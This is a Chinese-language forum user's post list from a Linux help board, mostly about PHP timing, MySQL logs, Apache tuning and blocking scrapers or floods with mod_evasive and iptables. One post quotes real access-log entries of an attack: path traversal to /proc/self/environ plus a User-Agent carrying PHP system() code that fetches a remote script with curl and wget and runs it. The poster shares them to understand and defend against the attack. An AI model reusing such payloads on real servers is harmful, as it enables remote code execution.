顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


文章 - Aeolus

頁: [1] 2
1
鳥哥臨時公佈欄 / 鳥歌的文章論壇狀態?
« 於: 2019-02-18 08:06 »
大家好,
請問 鳥歌網站文章專屬討論串 最近都連不上?  ???
http://phorum.vbird.org/
有人知道是什狀態嗎?
謝謝

2
不知有人知道原因嗎?
謝謝.

3
Linux 討論版 / 回覆: http_ping
« 於: 2011-01-28 11:21 »
代碼: [選擇]
tcpdump -i ppp0 -AennqX  -w /var/log/tcpdump_211_79_61_8.log -c 1 'src host 211.79.61.8'
and

代碼: [選擇]
tcpdump -r /var/log/tcpdump_211_79_61_8.log
Got the data.

reading from file /var/log/tcpdump_211_79_61_8.log, link-type LINUX_SLL (Linux cooked)
引用
04:09:11.161015 IP proxy1.twaren.net.53153 > ipb.tw.www: S 10555165:10555165(0) win 5840 <mss 1460,sackOK,timestamp 3840313239 0,nop,wscale 7>

由上述資料及參考 http://linux.vbird.org/linux_server/0110network_basic.php#whatisnetwork_osi

(1)是否為 Layer 5會談層 (Session Layer), 這樣算惡意嗎?
(2)只設定記錄一筆,可否看出什端倪?
(2)設定沒指定port,是否即記錄全部 port?
Thanks.

4
Linux 討論版 / 回覆: http_ping
« 於: 2011-01-27 16:36 »

5
Linux 討論版 / http_ping
« 於: 2011-01-25 08:51 »
在 /var/log/apache2/access.log 中常看到這樣訊息...

網路上查得 http://panda.ks.edu.tw/http_ping.htm

是否在抓取網站所有資料?

如果是,是不是給封了好?

Thanks.
 
引用
211.79.61.8 - - [06/Jul/2010:03:13:15 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [02/Oct/2010:05:04:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [03/Oct/2010:04:51:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [04/Oct/2010:05:21:03 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [05/Oct/2010:05:23:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [06/Oct/2010:05:44:35 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [07/Oct/2010:05:33:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [08/Oct/2010:05:13:09 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [09/Oct/2010:05:50:36 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [10/Oct/2010:05:41:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Oct/2010:05:36:53 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Oct/2010:06:09:32 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Oct/2010:06:29:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Oct/2010:06:06:34 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Oct/2010:06:05:52 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [16/Oct/2010:05:56:56 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Oct/2010:05:27:12 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [11/Jan/2011:12:43:31 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [12/Jan/2011:13:00:14 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [13/Jan/2011:13:00:19 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [14/Jan/2011:12:32:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [15/Jan/2011:13:12:25 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [17/Jan/2011:10:39:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [18/Jan/2011:10:24:22 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [19/Jan/2011:09:29:51 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [20/Jan/2011:08:59:16 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [21/Jan/2011:07:52:49 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [22/Jan/2011:07:29:18 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [23/Jan/2011:06:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [24/Jan/2011:05:22:47 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"
211.79.61.8 - - [25/Jan/2011:05:06:37 +0800] "GET / HTTP/1.0" 302 3 "-" "http_ping"

211.79.61.8 -- IP information::
引用
address: No.7, R Road VI Hsinchu Science-Based Industrial Park(新竹科學工業園區)
address: Hsinchu, Taiwan , R.O.C
country: TW

6
Linux 討論版 / 回覆: php執行時間?
« 於: 2010-08-27 16:14 »
[attachment=1]

這個功能在論壇後台設定中可以關掉或是選擇其它顯示方式
主要是第一時間可清楚知道server負荷,產生首頁所花的時間,及查詢總量.

7
Linux 討論版 / 回覆: php執行時間?
« 於: 2010-08-18 14:46 »
嗯,如果懷疑是mysql,那參考宗董這篇http://plog.longwin.com.tw/post/1/234來找找看問題。mysql cache沒記錯的話是用query string做hash key,容量有限,查詢結果超過cacahe就沒用,而且有新的query就可能被清掉...看你的使用狀況啦,很可能開了也沒有很大的效果。

Thanks.

參閱設定後

有這樣訊息,(其中OOOOOO是管理者名稱,隱藏)
引用
/usr/sbin/mysqld, Version: 5.0.51a-24+lenny4-log ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
# Time: 100818 14:02:45
# User@Host: debian-sys-maint[debian-sys-maint] @ localhost []
# Query_time: 10  Lock_time: 0  Rows_sent: 0  Rows_examined: 88482
SELECT COUNT(*) INTO @discard FROM `information_schema`.`COLUMNS`;

# Time: 100818 14:16:22
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9  Lock_time: 0  Rows_sent: 1  Rows_examined: 88482
use information_schema;
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;

# Time: 100818 14:17:00
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9  Lock_time: 0  Rows_sent: 30  Rows_examined: 30
SELECT * FROM `COLUMNS`
 LIMIT 0, 30;

# Time: 100818 14:17:11
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 11  Lock_time: 0  Rows_sent: 1  Rows_examined: 88482
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;

# Time: 100818 14:17:20
# User@Host: OOOOOO[OOOOOO] @ localhost []
# Query_time: 9  Lock_time: 0  Rows_sent: 1  Rows_examined: 88482
SELECT COUNT(*) FROM `information_schema`.`COLUMNS`;

8
Linux 討論版 / 回覆: php執行時間?
« 於: 2010-08-18 12:13 »
要測執行時間, 不要光是跑這種無意義的迴圈, 應該去測有『內容』的 php 碼
謝謝,
簡單的測法,似乎無法檢測php的執行效率.

開xdebug做profiling可能比較有用吧?

...我想你可能只是想在網頁最下方顯示「本頁花了xxxx秒」這樣的訊息...那就在程式開始與結束包這些東西就可以了。不過要搭配template的話,使用$timer->timeElapsed()可能會比較有彈性。

小弟使用的IPB論壇程式,在首頁底下會有執行時間的訊息

因為自己的跟其他使用者,平均都差近4倍的時間

其他論壇
[attachment=1]

自己的主論壇,MySQL資料多
[attachment=2]

自己的測試論壇,MySQL資料非常少
[attachment=3]

當然論壇程式是除了論壇程式本身設定外,php , MySQL,這兩者也應該都會有影響

php加裝測試mem_cache模組,或 eAccesalator 或 APC 都無效.

MySQL也有啟用query cache

但似乎都沒改善,所以再想是否有什麼可測一下php ,MySQL的執行效率?

9
Linux 討論版 / php執行時間?
« 於: 2010-08-18 08:55 »
在網路上找到兩個小程式,參考 http://blog.linym.net/archives/103
count.php(修改後)

代碼: [選擇]
<?php
 
require_once( &#39;./Timer.php&#39; );
 
$timer = new Timer();  
 
$timer->start(); // 設定開始標籤  
 
for ($i 0$i 10000000$i++);  
 
$timer->stop(); // 設定結束標籤  
 
$timer->display();  
?>

Timer.php (php5)
代碼: [選擇]
<?php
class Timer {
    private 
$markers;

    public function 
__construct() {
        
$this->markers = array();
    }

    public function 
start() {
        
$this->setMarker(&#39;Start&#39;);
    
}
    
    public function 
stop() {
        
$this->setMarker(&#39;Stop&#39;);
    
}
    
    public function 
setMarker($name) {
        
$this->markers[$name] = $this->_getMicrotime();
    }
    
    public function 
_getMicrotime() {
        
$microtime explode(&#39; &#39;, microtime());
        
return $microtime[1].substr($microtime[0], 1);
    }
    
    public function 
timeElapsed($start = &#39;Start&#39;, $end = &#39;Stop&#39;) {
        
if ($end == &#39;Stop&#39; && !isset($this->markers[&#39;Stop&#39;])) {
            
$this->markers[&#39;Stop&#39;] = $this->_getMicrotime();
        
}
        
        if (
extension_loaded(&#39;bcmath&#39;)) {
            
return bcsub($this->markers[$end], $this->markers[$start], 6);
        } else {
            return 
$this->markers[$end] - $this->markers[$start];
        }
    }
    
    public function 
display() {
        print 
$this->timeElapsed();
    }
}
?>

輸出為

引用
1.346862

不知是算快?還是慢?

Thanks.

10
謝謝回覆.
如果這樣的USER-AGENT對rewrite mod沒傷害,那應該可放心.

11
謝謝指導

error.log

對應188.40.87.9只有一筆
引用
[Fri May 28 14:03:25 2010] [error] [client 188.40.87.9] script '/var/www/mod.php' not found or unable to stat

對應217.16.18.219有三筆
引用
[Tue Jun 01 17:29:55 2010] [error] [client 217.16.18.219] File does not exist: /var/www/lib
[Tue Jun 01 17:50:15 2010] [error] [client 217.16.18.219] File does not exist: /var/www/lib
[Tue Jun 01 17:50:16 2010] [error] [client 217.16.18.219] File does not exist: /var/www/forum/lib

看起來只是try /www/ 底下的資料而已?

還是有其它可能?

Thanks.

12
參可此篇文章,再補強,效果好像還不錯,觀察memory平均使用率有降低15%~20%

代碼: [選擇]
<IfModule prefork.c>
StartServers 2
MinSpareServers 3
MaxSpareServers 5
ServerLimit 16
MaxClients 16
MaxRequestsPerChild 400000
</IfModule>

13
怪怪的user agent
引用
188.40.87.9 - - [28/May/2010:14:03:22 +0800] "GET /forum/index.php?/topic/3152-%E8%87%AA%E5%8B%95%E8%BD%89%E5%9D%80indexphp//mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 77980 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"

188.40.87.9 - - [28/May/2010:14:03:25 +0800] "GET //mod.php?mod=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 261 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"

217.16.18.219 - - [01/Jun/2010:17:29:52 +0800] "GET /forum/index.php?/topic/3477-ipb-221%E7%99%BC%E4%BD%88%E6%9B%B4%E6%96%B0//lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 103121 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"

217.16.18.219 - - [01/Jun/2010:17:29:55 +0800] "GET //lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 404 284 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"

217.16.18.219 - - [01/Jun/2010:17:50:13 +0800] "GET /forum/index.php?app=calendar&amp;module=calendar&amp;cal_id=2&amp;do=newevent&amp;formtype=range/lib/Loggix/Module/Calendar.php?pathToIndex=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 35761 "-" "<?php system('curl -O /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;wget -o /tmp/injektor.txt http://www.sosmicroparis.fr//components/com_artforms/assets/captcha/includes/captchatalk/robots.txt;php /tmp/injektor.txt'); ?>"

正常的user agent
引用
OOO.OOO.OOO.OOO - - [05/May/2010:07:37:38 +0800] "GET /forum/index.php?/topic/10231-%e4%b8%ad%e6%96%87%e5%ae%89%e8%a3%9d%e5%95%8f%e9%a1%8c/page__pid__12656__st__0 HTTP/1.1" 200 23641 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"

OOO.OOO.OOO.OOO - - [05/May/2010:15:30:07 +0800] "GET /forum/index.php?/topic/8438-%e7%b6%93%e7%94%b1%e7%b6%b2%e7%ab%99%e5%85%b6%e5%ae%83%e4%b8%bb%e9%a0%81%e4%be%86%e7%99%bb%e5%85%a5%e8%ab%96%e5%a3%87/page__view__findpost__p__10824 HTTP/1.1" 302 20 "-" "Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )"


一般User-Agent不是只是簡單幾個字嗎? 它爲何寫這樣長,有特殊意義嗎?
rewrite mod來判斷時,會不會造成傷害?

Thanks.

14
92.60.176.46

http://www.whois365.com/tw/ip/92.60.176.46
引用
註冊局 WHOIS 主機 : whois.ripe.net:43

% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf

http://ws.arin.net/whois/?queryinput=92.60.176.46
引用
OrgName:    RIPE Network Coordination Centre
OrgID:      RIPE
Address:    P.O. Box 10096
City:       Amsterdam
StateProv: 
PostalCode: 1001EB
Country:    NL

ReferralServer: whois://whois.ripe.net:43

NetRange:   92.0.0.0 - 92.255.255.255
CIDR:       92.0.0.0/8
NetName:    92-RIPE
NetHandle:  NET-92-0-0-0-1
Parent:     
NetType:    Allocated to RIPE NCC
NameServer: NS-PRI.RIPE.NET
NameServer: NS3.NIC.FR
NameServer: SUNIC.SUNET.SE
NameServer: SNS-PB.ISC.ORG
NameServer: SEC1.APNIC.NET
NameServer: SEC3.APNIC.NET
NameServer: TINNIE.ARIN.NET
NameServer: NS2.LACNIC.NET
Comment:    These addresses have been further assigned to users in
Comment:    the RIPE NCC region. Contact information can be found in
Comment:    the RIPE database at http://www.ripe.net/whois
RegDate:    2007-03-27
Updated:    2009-05-18

# ARIN WHOIS database, last updated 2010-06-29 20:00
# Enter ? for additional hints on searching ARIN's WHOIS database.
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at https://www.arin.net/whois_tou.html
#
# Attention! Changes are coming to ARIN's Whois service on June 26.
# See https://www.arin.net/features/whois for details on the improvements.

http://wq.apnic.net/apnic-bin/whois.pl
引用
...
...
...
inetnum:        92.60.176.0 - 92.60.176.127
netname:        WNET-Odessa
descr:          Wnet-Odessa-Colo
country:        UA
admin-c:        WNET2-RIPE
tech-c:         WNET2-RIPE
status:         ASSIGNED PA
mnt-by:         WNET-MNT
source:         RIPE # Filtered
...
...
...


請問這是什原因?
Thanks.

15
問過客服,雖稱有客戶使用過外接式-3.5"-1TB是OK的,但煩其查資料至今仍無消息!

但市售2.5"的行動碟是OK的.

試過創見-2.5"-320G or 500G 都OK.

16
大通 HDR-6200 , 參考 >> http://www.px.com.tw/c/p03-Hotpro-1.php

目前使用創見 320G 行動碟是OK的.

有人使用過更大容量的嗎?

如 1TB , 1.5TB,是什廠牌型號可適用??

因昨買了 WD My Book 1.5TB 抓不到阿!

Thanks.

17
實測後應該有效,可以連下方連結

http://forum.ipb.tw

連上後,按著F5不放 ,一直到出現 Forbidden頁面,一般是5~6次,而等待幾分鐘後再按一次,即可再次正常顯示頁面.

18
論壇常見的幾個bot
Google ( 66.249.91.104 )      MSN/Bing ( 207.46.204.241 )      Yahoo ( 67.195.115.213 )

都不定時來抓資料,都還OK

查一下 http://www.whois365.com/

Google ( 66.249.65.33 )
引用
NetRange: 66.249.64.0 - 66.249.95.255
CIDR: 66.249.64.0/19
NetName: GOOGLE
NetHandle: NET-66-249-64-0-1
Parent: NET-66-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.GOOGLE.COM
NameServer: NS2.GOOGLE.COM
NameServer: NS3.GOOGLE.COM
NameServer: NS4.GOOGLE.COM
/var/log/apache2/access.log
引用
[16/Jan/2010:00:58:17 +0800] "GET /forum/index.php?app=forums&module=extras&section=stats&do=who&t=4033 HTTP/1.1" 200 7628 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

MSN/Bing ( 207.46.204.241 )
引用
NetRange: 207.46.0.0 - 207.46.255.255
CIDR: 207.46.0.0/16
NetName: MICROSOFT-GLOBAL-NET
NetHandle: NET-207-46-0-0-1
Parent: NET-207-0-0-0-0
NetType: Direct Assignment
NameServer: NS1.MSFT.NET
NameServer: NS5.MSFT.NET
NameServer: NS2.MSFT.NET
NameServer: NS3.MSFT.NET
NameServer: NS4.MSFT.NET
/var/log/apache2/access.log
引用
[02/Mar/2010:04:04:20 +0800] "GET /forum/index.php?/topic/4133-%e9%bb%91%e9%bb%91%e5%a4%a7%e5%a4%a7%e5%a5%bd%e6%9c%89%e5%95%8f%e9%a1%8c%e5%95%8f%e5%93%a9/ HTTP/1.1" 200 40607 "-" "msnbot/2.0b (+http://search.msn.com/msnbot.htm)"

Yahoo ( 67.195.114.33 )
引用
NetRange: 67.195.0.0 - 67.195.255.255
CIDR: 67.195.0.0/16
NetName: A-YAHOO-US8
NetHandle: NET-67-195-0-0-1
Parent: NET-67-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.YAHOO.COM
NameServer: NS2.YAHOO.COM
NameServer: NS3.YAHOO.COM
NameServer: NS4.YAHOO.COM
NameServer: NS5.YAHOO.COM
/var/log/apache2/access.log
引用
[27/Dec/2009:06:07:49 +0800] "GET /robots.txt HTTP/1.0" 404 224 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"

而疑似入侵IP => 58.60.14.231
引用
inetnum: 58.60.0.0 - 58.63.255.255
netname: CHINANET-GD
descr: CHINANET Guangdong province network
descr: China Telecom
descr: No.31,jingrong street
descr: Beijing 100032
country: CN
admin-c: CH93-AP
tech-c: IC83-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-CHINANET-GD
mnt-routes: MAINT-CHINANET-GD
status: ALLOCATED PORTABLE
/var/log/apache2/access.log
引用
[07/Mar/2010:21:56:29 +0800] "GET /forum/index.php?/index?s=b5c56f3455b32aca70e8de481195e40c HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=b5c56f3455b32aca70e8de481195e40c" "Mozilla/4.0 (compatible; MSIE 6.0)"

入侵IP所查記錄明顯與前三者不同,即使是bot,也非善類,只是覺得應該不是bot.

目前處理方式:
(1)先將網段封鎖 58.60.0.0 - 58.63.255.255
(2)安裝 libapache2-mod-evasive ,
     參考 => http://www.debianadmin.com/how-to-protect-apache-against-dosddos-or-brute-force-attacks.html
     同時依模組所附安裝說明,在http.conf加入
代碼: [選擇]
    <IfModule mod_evasive20.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   10
    DOSLogDir "/var/lock/mod_evasive"
   </IfModule>
(3)在iptables中加入
    
代碼: [選擇]
iptables -A FORWARD -i $EXTIF -p tcp --syn -m limit --limit 1/s -j ACCEPT     參考 => http://linux.vbird.org/linux_server/0250simple_firewall.php#local_script
(4)如上述(1)中封鎖網段 58.60.0.0 - 58.63.255.255,只是這樣封鎖,他的目的也是達到了,讓一些IP上不了網站
    也就是說,如果(2),(3)有效,是不是就可以不必封鎖該IP了.

不知是否妥當?

Thanks.

19
謝謝回覆.

論壇有管制60秒後才能搜第二次.

引用
搜尋間隔管制為 60 秒,請稍後再試.

20
有1500筆左右,Server變牛步.

Thanks.

/var/log/apache2/access.log
引用
58.60.14.231 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0&section=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=2&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0&section=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/ HTTP/1.1" 200 168375 "http://ipb.tw/forum/index.php?/topic/131-%E5%8D%A1%E8%BE%B2%E7%9A%84%E7%90%B4%E8%AD%9Cpdf%E6%AA%94/" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 104744 "http://ipb.tw/forum/index.php?/forum/20-%E6%86%B6%E7%B6%B2%E6%83%85%E6%B7%B1/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?/topic/18790-fromitidgh483987hotmailcom/page__view__findpost__p__21628?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 191724 "http://ipb.tw/forum/index.php?/calendar/?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:20:58 +0800] "GET /forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6' HTTP/1.1" 200 105516 "http://ipb.tw/forum/index.php?app=core&do=active&module=search&search_filter_app[forums]=1?s=2df023d942bb0395cc95b22f646af7f6'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:59 +0800] "GET /forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69' HTTP/1.1" 200 150130 "http://ipb.tw/forum/index.php?/topic/18886-invisionmodding-j30-about-us/?s=eafc57480c55000ae38913632f06bc69'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:20:55 +0800] "GET /forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69&section=post&t=131 HTTP/1.1" 200 96862 "http://ipb.tw/forum/index.php?app=forums&do=reply_post&f=21&module=post&qpid=143?s=eafc57480c55000ae38913632f06bc69&section=post&t=131" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:00 +0800] "GET /forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=e4a2e681abd1beb9426398dc604399fa" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:04 +0800] "GET /forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0&section=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=446&i=1?s=2df023d942bb0395cc95b22f646af7f6&marktype=forum&module=forums&returntoforumid=0&section=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:06 +0800] "GET /forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0&section=markasread HTTP/1.1" 302 - "http://ipb.tw/forum/index.php?app=forums&forumid=406&i=1?s=561a958d6c90a57d39087982b57f8273&marktype=forum&module=forums&returntoforumid=0&section=markasread" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 160917 "http://ipb.tw/forum/index.php?/forum/384-%E5%A4%9C%E5%B8%82%E9%9B%86%E9%8C%A6/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:02 +0800] "GET /forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273' HTTP/1.1" 200 149241 "http://ipb.tw/forum/index.php?/topic/3457-script-typetextjavascript/page__view__getlastpost?s=561a958d6c90a57d39087982b57f8273'" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 153579 "http://ipb.tw/forum/index.php?/forum/147-%E5%8D%81%E4%BA%8C%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'&section=rate HTTP/1.1" 200 12 "http://ipb.tw/forum/index.php?app=downloads&id=18&module=ajax&rating=4?s=eafc57480c55000ae38913632f06bc69'&section=rate" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:05 +0800] "GET /forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6 HTTP/1.1" 200 112145 "http://ipb.tw/forum/index.php?/forum/392-%E8%97%9D%E6%96%87%E6%AC%A3%E8%B3%9E/?s=2df023d942bb0395cc95b22f646af7f6" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:20:57 +0800] "GET /forum/index.php?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 191697 "http://ipb.tw/forum/index.php?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.236 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273 HTTP/1.1" 200 160197 "http://ipb.tw/forum/index.php?/forum/141-%E5%85%AD%E6%9C%88/?s=561a958d6c90a57d39087982b57f8273" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.61.32.55 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 136988 "http://ipb.tw/forum/index.php?/forum/397-%E8%B3%BC%E7%89%A9%E5%BF%AB%E5%A0%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.231 - - [07/Mar/2010:21:21:09 +0800] "GET /forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69 HTTP/1.1" 200 107665 "http://ipb.tw/forum/index.php?/user/1532-%E8%A8%B1%E8%93%8B%E5%8A%9F%E9%96%B1/?s=eafc57480c55000ae38913632f06bc69" "Mozilla/4.0 (compatible; MSIE 6.0)"
58.60.14.241 - - [07/Mar/2010:21:21:07 +0800] "GET /forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1 HTTP/1.1" 200 191704 "http://ipb.tw/forum/index.php?/index?s=88f811f1cbb08008198779b6526c8fd1" "Mozilla/4.0 (compatible; MSIE 6.0)"
